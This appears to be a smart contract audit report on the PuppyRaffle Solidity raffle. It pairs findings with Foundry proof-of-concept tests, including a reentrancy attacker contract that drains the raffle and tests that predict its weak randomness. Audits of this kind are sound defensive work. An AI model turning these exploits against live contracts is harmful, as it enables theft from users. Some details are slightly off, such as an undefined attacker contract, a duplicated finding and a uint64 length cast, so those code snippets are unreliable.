PuppyRaffle Audit Report

Version 1.0

Sagar Rana

June 9, 2025

PuppyRaffle Audit Report

Sagar Rana

June 9, 2025

Prepared by: Sagar Rana Lead Auditors: - Sagar Rana

Table of Contents

    * [M-1] Unbound `for` loops in `PuppyRaffle::enterRaffle()` can cause Denial of Service (DoS) attacks
    * [M-2] Unsafe typecasting of `PuppyRaffle::selectWinner()::fee` into `uint64` may cause integer overflow
    * [M-3] Rarity can be manipulated due to weak Pseudo Random Number Generation (PRNG)
- Low
    * [L-1] Unspecific Solidity Pragma
    * [L-2] Using an outdated version of Solidity is not recommended
    * [L-3] Address State Variable Set Without Checks
    * [L-4] Address State Variable Set Without Checks
    * [L-5] Integer underflow possible in `PuppyRaffle::enterRaffle()` if empty array is pushed
    * [L-6] `PuppyRaffle::getActivePlayerIndex()` has conflicting results for index 0
- Gas
    * [G-1] Set unchanged variable as immutable
    * [G-2] Set all image URIs as constant
    * [G-3] Storage Array Length not Cached
- Informational
    * [I-1] Dead code
    * [I-2] Consider using variables for constant values

Protocol Summary

A protocol to distribute dog NFTs to winners of the raffle. Multiple addresses can be entered into the raffle without any repeating addresses. Any address can get their refund of ticket and value if they want to. Every X seconds a winner will be selected and a puppy NFT will be minted to the winner address. The owner of the protocol benefits by getting a cut of the value while the rest of the fund goes to the winner, along with the NFT.

Disclaimer

Sagar Rana makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.

Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

Had fun auditing this codebase, lots of issues to be found.

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	6
Info/gas	5
Total	18

Findings

High

[H-1] No reentrancy check in `PuppyRaffle::refund()` can allow malicious contracts to drain all balance

Description In the `Puppyraffle::refund()` function the state of the contract is being updated after performing the ETH transfer to the player who called the function

Impact An attacker contract can call the `Puppyraffle::refund()` function recursively by overriding the receive or fallback function of the contract, hence the ETH transfer can be performed as many times as needed to drain the contract balance without updating the state.

Proof of Concepts Add the following test case to `./test/PuppyRaffletest.t.sol`:

```
function test_reentrance() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrantAttacker re = new ReentrantAttacker(puppyRaffle);
    address attacker = makeAddr("attackUser");
    vm.deal(attacker, 1 ether);

    uint256 startBalanceAttacker = address(re).balance;
    uint256 startBalanceRaffle = address(puppyRaffle).balance;

    vm.prank(attacker);
    re.attack{value: entranceFee}();

    uint256 endBalanceAttacker = address(re).balance;
    uint256 endBalanceRaffle = address(puppyRaffle).balance;

    console.log("Starting balance of attacker is", startBalanceAttacker
       );
    console.log("Ending balance of attacker is", endBalanceAttacker);
    console.log("Starting balance of raffle is", startBalanceRaffle +
       entranceFee);
    console.log("Ending balance of raffle is", endBalanceRaffle);
}
```

Then, add the following contract code to the bottom of the same file:

```
contract ReentrantAttacker {
    PuppyRaffle pr;
    uint256 entranceFee;
    uint256 attackerIndex;

    address playerOne = address(1);
    address playerTwo = address(2);
    address playerThree = address(3);

    constructor(PuppyRaffle _pr) {
        pr = _pr;
        entranceFee = pr.entranceFee();
    }

    function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        pr.enterRaffle{value: entranceFee}(players);
        attackerIndex = pr.getActivePlayerIndex(address(this));
        pr.refund(attackerIndex);
    }

    function _steal() internal {
        if (address(pr).balance >= entranceFee) {
            pr.refund(attackerIndex);
        }
    }

    receive() external payable {
        _steal();
    }

    fallback() external payable {
        _steal();
    }
}
```

Finally, run the following command:

```
forge test --mt test_reentrance -vv
```

Recommended mitigation - Follow the CEI pattern - Check-Effects-Interactions

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
       can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
       refunded, or is not active");

-     payable(msg.sender).sendValue(entranceFee);
-     players[playerIndex] = address(0);
+     players[playerIndex] = address(0);
+     payable(msg.sender).sendValue(entranceFee);

    emit RaffleRefunded(playerAddress);
}
```

- Use OpenZeppelin's reentrancyGuard contract modifier

[H-2] Choice of NFT minted can be manipulated due to weak Pseudo Random Number Generation (PRNG)

Description In `Puppyraffle::selectWinner()` function, the PRNG to generate the `winnerIndex` is weak as the variables involved can be manipulated/predicted.

Impact Miners can manipulate the block timestamp and execute the transaction when its favourable for them. A smart contract can also be written to execute the transaction only when the current situation is favourable for getting the `selectWinner` of choice.

Proof of Concepts Add the following test case to the test suite:

```
function testSelectWinnerPredictably() public playersEntered {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    uint256 fakeTimestamp = block.timestamp;
    uint256 fakeDifficulty = block.difficulty;
    address testCaller = address(this);
    uint256 numPlayers = 4;

    bytes32 hash = keccak256(abi.encodePacked(testCaller, fakeTimestamp
       , fakeDifficulty));
    uint256 expectedIndex = uint256(hash) % numPlayers;

    address expectedWinner;
    if (expectedIndex == 0) {
        expectedWinner = playerOne;
    } else if (expectedIndex == 1) {
        expectedWinner = playerTwo;
    } else if (expectedIndex == 2) {
        expectedWinner = playerThree;
    } else {
        expectedWinner = playerFour;
    }

    puppyRaffle.selectWinner();

    assertEq(puppyRaffle.previousWinner(), expectedWinner);
}
```

Then run the following command:

```
forge test --mt testSelectWinnerPredictably
```

Recommended mitigation Use a VRF like the Chainlink VRF which randomly generates a number off-chain and is then verified cryptographically to generate the `PuppyRaffle::selectWinner` variable. It is not possible to generate a truly random number on-chain because of blockchain's deterministic nature.

[H-3] `PuppyRaffle::withdrawFees()` can be DoS'd

Description The function has a very strict check for giving out the accumulated fees

Impact If a smart contract maliciously sends ETH deliberately, then the strict check will always fail and no fees could be withdrawn.

Proof of Concepts Add the following testcase to the test suite:

```
function test_withdrawDOS() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    Attacker atk = new Attacker(puppyRaffle);
    address attacker = makeAddr("attackUser");
    vm.deal(attacker, 1 ether);

    vm.prank(attacker);
    atk.destroy{value: 1 ether}();

    vm.expectRevert();
    puppyRaffle.withdrawFees();
}
```

Recommended mitigation Consider removing the check

[H-4] `uint64` variable `PuppyRaffle::totalFees` may be overflowed

Description The `totalfees` variable is storing the units of wei which is the main storage for keeping track of the totalFees accumulated. The maximum value of `uint64` variable is `18446744073709551615`, which is `18.446744073709551615 ETH`.

Impact When the total fee value goes above 18.446744073709551615 ETH, the `totalFee` variable overflows and resets back to 0.

Proof of Concepts In a terminal, enter the following command:

```
chisel
```

Now, enter the following codes, in order:

```
uint64 totalFees = 18e18
uint64 fees = 2e18
totalFees = totalFees + fees
```

You should get an integer overflow error.

Recommended mitigation 1. The value of `PuppyRaffle::totalFees` can be set as a `uint256` 2. Using OpenZeppelin's SafeMath contract to prevent overflows and underflows 3. Using a version of Solidity above 0.8, where overflows and underflow problems are eliminated

Medium

[M-1] Unbound `for` loops in `PuppyRaffle::enterRaffle()` can cause Denial of Service (DoS) attacks

Description The two `for` loops in `PuppyRaffle::enterRaffle()` do not have any checks to ensure they do not iterate more than a certain number of times, hence they are unbound loops and will iterate over each element of the `PuppyRaffle::players` and `PuppyRaffle::newPlayers`.

Impact Gas price will significantly increase for players who register late, and a DoS attack can be performed where a large number of elements are pushed into the arrays, leading to gas price increasing, potentially even more than the block gas limit hence rendering the contract unusable.

Proof of Concepts Add the two test cases to `PuppyRaffleTest`:

```
function test_denialOfService() public {
    uint256 initialGas;
    uint256 finalGas;
    for (uint256 i = 0; i < 100; i++) {
        address[] memory players = new address[](1);
        players[0] = address(uint160(i + 1));

        if (i == 0) {
            initialGas = gasleft();
        } else if (i == 99) {
            finalGas = gasleft();
        }
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        if (i == 0) {
            initialGas -= gasleft();
        } else if (i == 99) {
            finalGas -= gasleft();
        }
    }
    assert(finalGas > initialGas);
    uint256 increase = ((finalGas - initialGas)/ initialGas) * 100;

    console.log("Gas used in 1st run: ", initialGas);
    console.log("Gas used in 100th run: ", finalGas);
    console.log("Gas increase is", increase, "%");
}

function test_bulkDenialOfService() public {
    uint256 initialGas;
    uint256 finalGas;

    address[] memory players = new address[](100);
    address[] memory newPlayers = new address[](100);
    for (uint256 i = 0; i < 100; i++) {
        players[i] = address(uint160(i + 1));
        newPlayers[i] = address(uint160(i + 101));
    }

    initialGas = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * 100}(players);
    initialGas -= gasleft();

    finalGas = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * 100}(newPlayers);
    finalGas -= gasleft();

    assert(finalGas > initialGas);
    uint256 increase = ((finalGas - initialGas)/ initialGas) * 100;

    console.log("Gas used for first 100 players: ", initialGas);
    console.log("Gas used for next 100 players: ", finalGas);
    console.log("Gas increase is", increase, "%");
}
```

Then run the following command on the terminal:

```
forge test --mt 'test_bulkDenialOfService|test_denialOfService' -vv
```

Recommended mitigation - Having a limit on the number of players passed into the function in one transaction - Using a mapping instead of for loop to check for uniqueness. This can be done in the following way:

```
// define a storage mapping from address to bool
mapping(address => bool) public hasEntered;

//check for uniqueness through this assert statement and then update
    the mapping
assert(!hasEntered[player]);
hasEntered[player] = true;
```

[M-2] Unsafe typecasting of `PuppyRaffle::selectWinner()::fee` into `uint64` may cause integer overflow

Description In `PuppyRaffle::selectWinner()` function the `fee` variable is being type-casted into `uint64`.

Impact If the value of `fee` is greater than the maximum value of a `uint64` variable, then typecasting it into that type will cause integer overflow where the value resets to 0 and starts over once the maximum value is crossed.

Proof of Concepts The following test case proves the vulnerability:

```
function test_integerOverflow() public {
    address[] memory players = new address[](100);
    for (uint256 i = 0; i < 100; i++) {
        players[i] = address(uint160(i + 1));
    }

    puppyRaffle.enterRaffle{value: entranceFee * 100}(players);

    vm.warp(block.timestamp + duration + 1);

    puppyRaffle.selectWinner();

    uint256 expectedFee = 20e18;
    uint256 actualFee = uint256(puppyRaffle.totalFees());

    assert(expectedFee > actualFee);
}
```

Then, run the following command:

```
forge test --mt test_integerOverflow
```

Recommended mitigation 1. The value of `PuppyRaffle::totalFees` can be set as a `uint256` so that no typecasting is required for `fees` 2. Using OpenZeppelin's SafeMath contract to prevent overflows and underflows 3. Using a version of Solidity above 0.8, where overflows and underflow problems are eliminated

[M-3] Rarity can be manipulated due to weak Pseudo Random Number Generation (PRNG)

Description In `Puppyraffle::selectWinner()` function, the PRNG to generate the `rarity` is weak as the variables involved can be manipulated/predicted.

Impact Miners can manipulate the block timestamp and execute the transaction when its favourable for them. A smart contract can also be written to execute the transaction only when the current situation is favourable for getting `rarity` of choice.

Proof of Concepts Add the following test case to the test suite:

```
function testRarityPredictably() public playersEntered {
    uint256 COMMON_RARITY = 70;
    uint256 RARE_RARITY = 25;
    uint256 LEGENDARY_RARITY = 5;

    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    uint256 fakeDifficulty = block.difficulty;

    bytes32 hash = keccak256(abi.encodePacked(address(this),
        fakeDifficulty));
    uint256 expectedRarity = uint256(hash) % 100;

    uint256 tokenId = puppyRaffle.totalSupply();
    uint256 rarity;

    if (expectedRarity <= COMMON_RARITY) {
        rarity = COMMON_RARITY;
    } else if (expectedRarity <= COMMON_RARITY + RARE_RARITY) {
        rarity = RARE_RARITY;
    } else {
        rarity = LEGENDARY_RARITY;
    }

    puppyRaffle.selectWinner();

    assertEq(puppyRaffle.tokenIdToRarity(tokenId), rarity);
}
```

Then run the following command:

```
forge test --mt testRarityPredictably
```

Recommended mitigation Use a VRF like the Chainlink VRF which randomly generates a number off-chain and is then verified cryptographically to generate the `PuppyRaffle::rarity` variable. It is not possible to generate a truly random number on-chain because of blockchain's deterministic nature.

Low

[L-1] Unspecific Solidity Pragma

Description Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of pragma solidity ˆ0.8.0;, use pragma solidity 0.8.0;

[L-2] Using an outdated version of Solidity is not recommended

Description use a newer version instead like 0.8.30

[L-3] Address State Variable Set Without Checks

Description `PuppyRaffle::feeAddress`, which is used to get the address of the recepient for receiving the fee accumulated does not have any check to ensure that it is not a zero address

Impact During deployment the `PuppyRaffle::feeAddress` can be set to a zero address which is invalid

Proof of Code Add the following test case to the test suite:

```
function test_zeroAddress() public {
    PuppyRaffle pr = new PuppyRaffle(
        entranceFee,
        address(0),
        duration
    );
    assert(address(0) == pr.feeAddress());
}
```

Then test using this command:

```
forge test --mt test_zeroAddress
```

Recommended mitigation Add this line to the code:

```
constructor(uint256 _entranceFee, address _feeAddress, uint256
    _raffleDuration) ERC721("Puppy Raffle", "PR") {
+   assert(_feeAddress != address(0));
    entranceFee = _entranceFee;
    feeAddress = _feeAddress;
    raffleDuration = _raffleDuration;
    raffleStartTime = block.timestamp;

    rarityToUri[COMMON_RARITY] = commonImageUri;
    rarityToUri[RARE_RARITY] = rareImageUri;
    rarityToUri[LEGENDARY_RARITY] = legendaryImageUri;

    rarityToName[COMMON_RARITY] = COMMON;
    rarityToName[RARE_RARITY] = RARE;
    rarityToName[LEGENDARY_RARITY] = LEGENDARY;
}
```

[L-4] Address State Variable Set Without Checks

Description `PuppyRaffle::feeAddress`, which is used to get the address of the recepient for receiving the fee accumulated does not have any check to ensure that it is not a zero address

Impact During deployment the `PuppyRaffle::feeAddress` can be set to a zero address which is invalid

Proof of Code Add the following test case to the test suite:

```
function test_zeroAddress() public {
    PuppyRaffle pr = new PuppyRaffle(
        entranceFee,
        feeAddress,
        duration
    );

    pr.changeFeeAddress(address(0));
    assert(address(0) == pr.feeAddress());
}
```

Then test using this command:

```
forge test --mt test_zeroAddress
```

Recommended mitigation Add this line to the code:

```
function changeFeeAddress(address newFeeAddress) external onlyOwner {
+   assert(newFeeAddress != address(0));
    feeAddress = newFeeAddress;
    emit FeeAddressChanged(newFeeAddress);
}
```

[L-5] Integer underflow possible in `PuppyRaffle::enterRaffle()` if empty array is pushed

Description When an empty array is pushed, the players.length becomes 0. In the second for loop within the function, we are calculating players.length - 1

Impact Subtracting 1 from 0 will cause underflow

Proof of Concepts add the following test case to the test suite:

```
function testCanEnterRaffleWithEmptyArray() public {
    address[] memory players = new address[](0);
    vm.expectRevert();
    puppyRaffle.enterRaffle(players);
}
```

Recommended mitigation Add a check to ensure that empty array is not pushed.

```
function enterRaffle(address[] memory newPlayers) public payable {
+   assert(newPlayers.length != 0);
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
        Must send enough to enter raffle");
    for (uint256 i = 0; i < newPlayers.length; i++) {
        players.push(newPlayers[i]);
    }
```

[L-6] `PuppyRaffle::getActivePlayerIndex()` has conflicting results for index 0

Description If there are no players found in the array with the given address, index 0 is returned

Impact if a player is stored at index 0, then also 0 will be returned and may be considered inactive

Proof of Concepts Add the following testcase to the test suite:

```
unction test_getZeroIndex() public {
    address inArray = address(1);
    address notInArray = address(2);

    address[] memory player = new address[](1);
    player[0] = inArray;

    puppyRaffle.enterRaffle{value: 1 ether}(player);

    uint256 trueIndex = puppyRaffle.getActivePlayerIndex(inArray);
    uint256 falseIndex = puppyRaffle.getActivePlayerIndex(notInArray);

    assert(trueIndex == falseIndex);
    assert(trueIndex == 0);
}
```

Recommended mitigation We can return the index of active players as index + 1 so player at index 0 will have index 1, and an inactive player will really have index 0.

Gas

[G-1] Set unchanged variable as immutable

Description `PuppyRaffle::raffleDuration` is not getting modified anywhere except the constructor, changing it to immutable will save gas

[G-2] Set all image URIs as constant

Description Since the variables `PuppyRaffle::commonImageUri`, `PuppyRaffle::rareImageUri` and `PuppyRaffle::legendaryImageUri` for image URIs are being set within the code itself and not getting changed anywhere, they should be set to constant variables.

[G-3] Storage Array Length not Cached

Description Calling .length on a storage array in a loop condition is expensive. Consider caching the length in a local variable in memory before the loop and reusing it.

Recommended Mitigation

```
function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
```

```diff
+        uint64 newLen = newPlayers.length;
+        for (uint256 i = 0; i < newLen; i++) {
-        for (uint256 i = 0; i < newPlayers.length; i++) {
             players.push(newPlayers[i]);
         }

         // Check for duplicates
+        uint64 len = players.length;
+        for (uint256 i = 0; i < len - 1; i++) {
-        for (uint256 i = 0; i < players.length - 1; i++) {
             for (uint256 j = i + 1; j < players.length; j++) {
                 require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
```

Informational

[I-1] Dead code

Description Function `PuppyRaffle::_isActivePlayer()` has not been used anywhere in the codebase even though it is an internal function. Consider removing it to save gas fees.

[I-2] Consider using variables for constant values

description In `PuppyRaffle::selectWinner()` consider using constant variables for 20 and 80 to save gas.